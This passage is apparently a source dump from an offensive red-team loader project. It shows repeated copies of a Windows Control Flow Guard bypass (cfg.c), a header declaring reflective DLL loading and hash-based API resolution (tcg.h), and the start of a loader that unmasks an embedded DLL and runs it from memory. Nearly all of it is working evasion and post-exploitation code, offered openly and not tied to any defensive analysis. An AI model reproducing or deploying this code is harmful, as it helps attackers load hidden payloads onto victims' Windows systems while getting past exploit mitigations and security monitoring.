vmi.pMoarZero = 0x0; 92 | 93 | status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) ); 94 | 95 | if ( status == 0xC00000F4 ) 96 | { 97 | /* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */ 98 | status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 ); 99 | } 100 | 101 | if ( ! NT_SUCCESS ( status ) ) 102 | { 103 | /* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */ 104 | if ( status == 0xC0000045 ) 105 | { 106 | /* pretend we bypassed it so timers can continue */ 107 | return TRUE; 108 | } 109 | 110 | return FALSE; 111 | } 112 | 113 | return TRUE; 114 | } 115 | -------------------------------------------------------------------------------- /local-loader/src/cfg.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "cfg.h" 3 | 4 | #define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) 5 | #define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) 6 | 7 | typedef struct { 8 | ULONG ExtendedProcessInfo; 9 | ULONG ExtendedProcessInfoBuffer; 10 | } EXTENDED_PROCESS_INFORMATION; 11 | 12 | typedef enum { 13 | ProcessUserModeIOPL = 16, 14 | ProcessCookie = 36 15 | } PROCESSINFOCLASS; 16 | 17 | typedef struct { 18 | DWORD dwNumberOfOffsets; 19 | PULONG plOutput; 20 | PCFG_CALL_TARGET_INFO ptOffsets; 21 | PVOID pMustBeZero; 22 | PVOID pMoarZero; 23 | } VM_INFORMATION; 24 | 25 | typedef enum { 26 | VmPrefetchInformation, 27 | VmPagePriorityInformation, 28 | VmCfgCallTargetInformation 29 | } VIRTUAL_MEMORY_INFORMATION_CLASS; 30 | 31 | typedef struct { 32 | PVOID VirtualAddress; 33 | SIZE_T NumberOfBytes; 34 | } MEMORY_RANGE_ENTRY; 35 | 36 | typedef enum { 37 | MemoryBasicInformation 38 | } MEMORY_INFORMATION_CLASS; 39 | 40 | DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG ); 41 | DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T ); 42 | DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG ); 43 | 44 | BOOL cfg_enabled ( ) 45 | { 46 | EXTENDED_PROCESS_INFORMATION proc_info = { 0 }; 47 | 48 | NTSTATUS status = 0; 49 | 50 | proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; 51 | proc_info.ExtendedProcessInfoBuffer = 0; 52 | 53 | status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL ); 54 | 55 | if ( ! NT_SUCCESS ( status ) ) { 56 | return FALSE; 57 | } 58 | 59 | return proc_info.ExtendedProcessInfoBuffer; 60 | } 61 | 62 | BOOL bypass_cfg ( PVOID address ) 63 | { 64 | MEMORY_BASIC_INFORMATION mbi = { 0 }; 65 | VM_INFORMATION vmi = { 0 }; 66 | MEMORY_RANGE_ENTRY mre = { 0 }; 67 | CFG_CALL_TARGET_INFO cti = { 0 }; 68 | 69 | NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 ); 70 | 71 | if ( ! NT_SUCCESS ( status ) ) { 72 | return FALSE; 73 | } 74 | 75 | if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) { 76 | return FALSE; 77 | } 78 | 79 | cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress; 80 | cti.Flags = CFG_CALL_TARGET_VALID; 81 | 82 | mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize; 83 | mre.VirtualAddress = ( PVOID ) mbi.BaseAddress; 84 | 85 | ULONG output = 0; 86 | 87 | vmi.dwNumberOfOffsets = 0x1; 88 | vmi.plOutput = &output; 89 | vmi.ptOffsets = &cti; 90 | vmi.pMustBeZero = 0x0; 91 | vmi.pMoarZero = 0x0; 92 | 93 | status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) ); 94 | 95 | if ( status == 0xC00000F4 ) 96 | { 97 | /* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */ 98 | status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 ); 99 | } 100 | 101 | if ( ! NT_SUCCESS ( status ) ) 102 | { 103 | /* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */ 104 | if ( status == 0xC0000045 ) 105 | { 106 | /* pretend we bypassed it so timers can continue */ 107 | return TRUE; 108 | } 109 | 110 | return FALSE; 111 | } 112 | 113 | return TRUE; 114 | } 115 | -------------------------------------------------------------------------------- /postex-loader/src/cfg.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "cfg.h" 3 | 4 | #define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) 5 | #define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) 6 | 7 | typedef struct { 8 | ULONG ExtendedProcessInfo; 9 | ULONG ExtendedProcessInfoBuffer; 10 | } EXTENDED_PROCESS_INFORMATION; 11 | 12 | typedef enum { 13 | ProcessUserModeIOPL = 16, 14 | ProcessCookie = 36 15 | } PROCESSINFOCLASS; 16 | 17 | typedef struct { 18 | DWORD dwNumberOfOffsets; 19 | PULONG plOutput; 20 | PCFG_CALL_TARGET_INFO ptOffsets; 21 | PVOID pMustBeZero; 22 | PVOID pMoarZero; 23 | } VM_INFORMATION; 24 | 25 | typedef enum { 26 | VmPrefetchInformation, 27 | VmPagePriorityInformation, 28 | VmCfgCallTargetInformation 29 | } VIRTUAL_MEMORY_INFORMATION_CLASS; 30 | 31 | typedef struct { 32 | PVOID VirtualAddress; 33 | SIZE_T NumberOfBytes; 34 | } MEMORY_RANGE_ENTRY; 35 | 36 | typedef enum { 37 | MemoryBasicInformation 38 | } MEMORY_INFORMATION_CLASS; 39 | 40 | DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG ); 41 | DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T ); 42 | DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG ); 43 | 44 | BOOL cfg_enabled ( ) 45 | { 46 | EXTENDED_PROCESS_INFORMATION proc_info = { 0 }; 47 | 48 | NTSTATUS status = 0; 49 | 50 | proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; 51 | proc_info.ExtendedProcessInfoBuffer = 0; 52 | 53 | status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL ); 54 | 55 | if ( ! NT_SUCCESS ( status ) ) { 56 | return FALSE; 57 | } 58 | 59 | return proc_info.ExtendedProcessInfoBuffer; 60 | } 61 | 62 | BOOL bypass_cfg ( PVOID address ) 63 | { 64 | MEMORY_BASIC_INFORMATION mbi = { 0 }; 65 | VM_INFORMATION vmi = { 0 }; 66 | MEMORY_RANGE_ENTRY mre = { 0 }; 67 | CFG_CALL_TARGET_INFO cti = { 0 }; 68 | 69 | NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 ); 70 | 71 | if ( ! NT_SUCCESS ( status ) ) { 72 | return FALSE; 73 | } 74 | 75 | if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) { 76 | return FALSE; 77 | } 78 | 79 | cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress; 80 | cti.Flags = CFG_CALL_TARGET_VALID; 81 | 82 | mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize; 83 | mre.VirtualAddress = ( PVOID ) mbi.BaseAddress; 84 | 85 | ULONG output = 0; 86 | 87 | vmi.dwNumberOfOffsets = 0x1; 88 | vmi.plOutput = &output; 89 | vmi.ptOffsets = &cti; 90 | vmi.pMustBeZero = 0x0; 91 | vmi.pMoarZero = 0x0; 92 | 93 | status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) ); 94 | 95 | if ( status == 0xC00000F4 ) 96 | { 97 | /* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */ 98 | status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 ); 99 | } 100 | 101 | if ( ! NT_SUCCESS ( status ) ) 102 | { 103 | /* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */ 104 | if ( status == 0xC0000045 ) 105 | { 106 | /* pretend we bypassed it so timers can continue */ 107 | return TRUE; 108 | } 109 | 110 | return FALSE; 111 | } 112 | 113 | return TRUE; 114 | } 115 | -------------------------------------------------------------------------------- /loader/src/tcg.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild 3 | * 4 | * Redistribution and use in source and binary forms, with or without modification, are 5 | * permitted provided that the following conditions are met: 6 | * 7 | * 1. Redistributions of source code must retain the above copyright notice, this list of 8 | * conditions and the following disclaimer. 9 | * 10 | * 2. Redistributions in binary form must reproduce the above copyright notice, this list of 11 | * conditions and the following disclaimer in the documentation and/or other materials provided 12 | * with the distribution. 13 | * 14 | * 3. Neither the name of the copyright holder nor the names of its contributors may be used to 15 | * endorse or promote products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS 19 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 20 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 21 | * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 23 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 25 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | // used by both the Pico Loader and DLL loader 30 | typedef struct { 31 | __typeof__(LoadLibraryA) * LoadLibraryA; 32 | __typeof__(GetProcAddress) * GetProcAddress; 33 | } IMPORTFUNCS; 34 | 35 | // linker intrinsic to map a function hash to a hook registered via Crystal Palace 36 | FARPROC __resolve_hook(DWORD funcHash); 37 | 38 | /* 39 | * Structs used by our DLL loader 40 | */ 41 | 42 | #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) 43 | #define DEREF( name )*(UINT_PTR *)(name) 44 | 45 | typedef struct { 46 | IMAGE_DOS_HEADER * DosHeader; 47 | IMAGE_NT_HEADERS * NtHeaders; 48 | IMAGE_OPTIONAL_HEADER * OptionalHeader; 49 | } DLLDATA; 50 | 51 | /* 52 | * utility functions 53 | */ 54 | DWORD adler32sum(unsigned char * buffer, DWORD length); 55 | DWORD ror13hash(const char * c); 56 | 57 | /* 58 | * printf-style debugging. 59 | */ 60 | void dprintf(char * format, ...); 61 | 62 | /* 63 | * PICO running functions 64 | */ 65 | typedef void (*PICOMAIN_FUNC)(char * arg); 66 | 67 | PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); 68 | PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); 69 | int PicoCodeSize(char * src); 70 | int PicoDataSize(char * src); 71 | void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); 72 | 73 | /* 74 | * Resolve functions by walking the export address table 75 | */ 76 | FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); 77 | HANDLE findModuleByHash(DWORD moduleHash); 78 | 79 | /* 80 | * DLL parsing and loading functions 81 | */ 82 | typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); 83 | 84 | DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); 85 | IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); 86 | void LoadDLL(DLLDATA * dll, char * src, char * dst); 87 | void LoadSections(DLLDATA * dll, char * src, char * dst); 88 | void ParseDLL(char * src, DLLDATA * data); 89 | void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); 90 | void ProcessRelocations(DLLDATA * dll, char * src, char * dst); 91 | DWORD SizeOfDLL(DLLDATA * data); 92 | 93 | /* 94 | * A macro to figure out our caller 95 | * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 96 | */ 97 | #ifdef __MINGW32__ 98 | #define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) 99 | #else 100 | #pragma intrinsic(_ReturnAddress) 101 | #define WIN_GET_CALLER() _ReturnAddress() 102 | #endif -------------------------------------------------------------------------------- /local-loader/src/tcg.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild 3 | * 4 | * Redistribution and use in source and binary forms, with or without modification, are 5 | * permitted provided that the following conditions are met: 6 | * 7 | * 1. Redistributions of source code must retain the above copyright notice, this list of 8 | * conditions and the following disclaimer. 9 | * 10 | * 2. Redistributions in binary form must reproduce the above copyright notice, this list of 11 | * conditions and the following disclaimer in the documentation and/or other materials provided 12 | * with the distribution. 13 | * 14 | * 3. Neither the name of the copyright holder nor the names of its contributors may be used to 15 | * endorse or promote products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS 19 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 20 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 21 | * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 23 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 25 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | // used by both the Pico Loader and DLL loader 30 | typedef struct { 31 | __typeof__(LoadLibraryA) * LoadLibraryA; 32 | __typeof__(GetProcAddress) * GetProcAddress; 33 | } IMPORTFUNCS; 34 | 35 | // linker intrinsic to map a function hash to a hook registered via Crystal Palace 36 | FARPROC __resolve_hook(DWORD funcHash); 37 | 38 | /* 39 | * Structs used by our DLL loader 40 | */ 41 | 42 | #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) 43 | #define DEREF( name )*(UINT_PTR *)(name) 44 | 45 | typedef struct { 46 | IMAGE_DOS_HEADER * DosHeader; 47 | IMAGE_NT_HEADERS * NtHeaders; 48 | IMAGE_OPTIONAL_HEADER * OptionalHeader; 49 | } DLLDATA; 50 | 51 | /* 52 | * utility functions 53 | */ 54 | DWORD adler32sum(unsigned char * buffer, DWORD length); 55 | DWORD ror13hash(const char * c); 56 | 57 | /* 58 | * printf-style debugging. 59 | */ 60 | void dprintf(char * format, ...); 61 | 62 | /* 63 | * PICO running functions 64 | */ 65 | typedef void (*PICOMAIN_FUNC)(char * arg); 66 | 67 | PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); 68 | PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); 69 | int PicoCodeSize(char * src); 70 | int PicoDataSize(char * src); 71 | void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); 72 | 73 | /* 74 | * Resolve functions by walking the export address table 75 | */ 76 | FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); 77 | HANDLE findModuleByHash(DWORD moduleHash); 78 | 79 | /* 80 | * DLL parsing and loading functions 81 | */ 82 | typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); 83 | 84 | DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); 85 | IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); 86 | void LoadDLL(DLLDATA * dll, char * src, char * dst); 87 | void LoadSections(DLLDATA * dll, char * src, char * dst); 88 | void ParseDLL(char * src, DLLDATA * data); 89 | void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); 90 | void ProcessRelocations(DLLDATA * dll, char * src, char * dst); 91 | DWORD SizeOfDLL(DLLDATA * data); 92 | 93 | /* 94 | * A macro to figure out our caller 95 | * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 96 | */ 97 | #ifdef __MINGW32__ 98 | #define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) 99 | #else 100 | #pragma intrinsic(_ReturnAddress) 101 | #define WIN_GET_CALLER() _ReturnAddress() 102 | #endif -------------------------------------------------------------------------------- /postex-loader/src/tcg.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild 3 | * 4 | * Redistribution and use in source and binary forms, with or without modification, are 5 | * permitted provided that the following conditions are met: 6 | * 7 | * 1. Redistributions of source code must retain the above copyright notice, this list of 8 | * conditions and the following disclaimer. 9 | * 10 | * 2. Redistributions in binary form must reproduce the above copyright notice, this list of 11 | * conditions and the following disclaimer in the documentation and/or other materials provided 12 | * with the distribution. 13 | * 14 | * 3. Neither the name of the copyright holder nor the names of its contributors may be used to 15 | * endorse or promote products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS 19 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 20 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 21 | * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 23 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 25 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | // used by both the Pico Loader and DLL loader 30 | typedef struct { 31 | __typeof__(LoadLibraryA) * LoadLibraryA; 32 | __typeof__(GetProcAddress) * GetProcAddress; 33 | } IMPORTFUNCS; 34 | 35 | // linker intrinsic to map a function hash to a hook registered via Crystal Palace 36 | FARPROC __resolve_hook(DWORD funcHash); 37 | 38 | /* 39 | * Structs used by our DLL loader 40 | */ 41 | 42 | #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) 43 | #define DEREF( name )*(UINT_PTR *)(name) 44 | 45 | typedef struct { 46 | IMAGE_DOS_HEADER * DosHeader; 47 | IMAGE_NT_HEADERS * NtHeaders; 48 | IMAGE_OPTIONAL_HEADER * OptionalHeader; 49 | } DLLDATA; 50 | 51 | /* 52 | * utility functions 53 | */ 54 | DWORD adler32sum(unsigned char * buffer, DWORD length); 55 | DWORD ror13hash(const char * c); 56 | 57 | /* 58 | * printf-style debugging. 59 | */ 60 | void dprintf(char * format, ...); 61 | 62 | /* 63 | * PICO running functions 64 | */ 65 | typedef void (*PICOMAIN_FUNC)(char * arg); 66 | 67 | PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); 68 | PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); 69 | int PicoCodeSize(char * src); 70 | int PicoDataSize(char * src); 71 | void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); 72 | 73 | /* 74 | * Resolve functions by walking the export address table 75 | */ 76 | FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); 77 | HANDLE findModuleByHash(DWORD moduleHash); 78 | 79 | /* 80 | * DLL parsing and loading functions 81 | */ 82 | typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); 83 | 84 | DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); 85 | IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); 86 | void LoadDLL(DLLDATA * dll, char * src, char * dst); 87 | void LoadSections(DLLDATA * dll, char * src, char * dst); 88 | void ParseDLL(char * src, DLLDATA * data); 89 | void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); 90 | void ProcessRelocations(DLLDATA * dll, char * src, char * dst); 91 | DWORD SizeOfDLL(DLLDATA * data); 92 | 93 | /* 94 | * A macro to figure out our caller 95 | * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 96 | */ 97 | #ifdef __MINGW32__ 98 | #define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) 99 | #else 100 | #pragma intrinsic(_ReturnAddress) 101 | #define WIN_GET_CALLER() _ReturnAddress() 102 | #endif -------------------------------------------------------------------------------- /loader/src/loader.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "loader.h" 3 | #include "tcg.h" 4 | #include "memory.h" 5 | 6 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); 7 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); 8 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); 9 | 10 | char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) ); 11 | char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) ); 12 | char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) ); 13 | 14 | int __tag_setup_hooks ( ); 15 | int __tag_setup_memory ( ); 16 | 17 | typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs ); 18 | typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout ); 19 | 20 | void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region ) 21 | { 22 | DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections; 23 | IMAGE_SECTION_HEADER * section_hdr = NULL; 24 | void * section_dst = NULL; 25 | DWORD section_size = 0; 26 | DWORD new_protect = 0; 27 | DWORD old_protect = 0; 28 | 29 | section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader ); 30 | 31 | for ( int i = 0; i < section_count; i++ ) 32 | { 33 | section_dst = dst + section_hdr->VirtualAddress; 34 | section_size = section_hdr->SizeOfRawData; 35 | 36 | if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) { 37 | new_protect = PAGE_WRITECOPY; 38 | } 39 | if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) { 40 | new_protect = PAGE_READONLY; 41 | } 42 | if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { 43 | new_protect = PAGE_READWRITE; 44 | } 45 | if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) { 46 | new_protect = PAGE_EXECUTE; 47 | } 48 | if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { 49 | new_protect = PAGE_EXECUTE_WRITECOPY; 50 | } 51 | if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { 52 | new_protect = PAGE_EXECUTE_READ; 53 | } 54 | if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) { 55 | new_protect = PAGE_EXECUTE_READWRITE; 56 | } 57 | 58 | /* set new permission */ 59 | KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); 60 | 61 | /* track memory */ 62 | region->Sections[ i ].BaseAddress = section_dst; 63 | region->Sections[ i ].Size = section_size; 64 | region->Sections[ i ].CurrentProtect = new_protect; 65 | region->Sections[ i ].PreviousProtect = new_protect; 66 | 67 | /* advance to section */ 68 | section_hdr++; 69 | } 70 | } 71 | 72 | void go ( ) 73 | { 74 | /* populate funcs */ 75 | IMPORTFUNCS funcs; 76 | funcs.LoadLibraryA = LoadLibraryA; 77 | funcs.GetProcAddress = GetProcAddress; 78 | 79 | /* load the pico */ 80 | char * pico_src = GETRESOURCE ( _PICO_ ); 81 | 82 | /* allocate memory for it */ 83 | PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); 84 | 85 | /* load it into memory */ 86 | PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data ); 87 | 88 | /* make code section RX */ 89 | DWORD old_protect; 90 | KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect ); 91 | 92 | /* begin tracking memory allocations */ 93 | MEMORY_LAYOUT memory = { 0 }; 94 | 95 | memory.Pico.BaseAddress = ( PVOID ) ( pico_dst ); 96 | memory.Pico.Size = sizeof ( PICO ); 97 | 98 | memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data ); 99 | memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src ); 100 | memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE; 101 | memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE; 102 | memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code ); 103 | memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src ); 104 | memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ; 105 | memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ; 106 | 107 | /* call setup_hooks to overwrite funcs.GetProcAddress */ 108 | ( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs ); 109 | 110 | /* now load the dll (it's masked) */ 111 | RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ ); 112 | RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ ); 113 | 114 | /* load dll into memory and unmask it */ 115 | char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); 116 | 117 | for ( int i = 0; i < 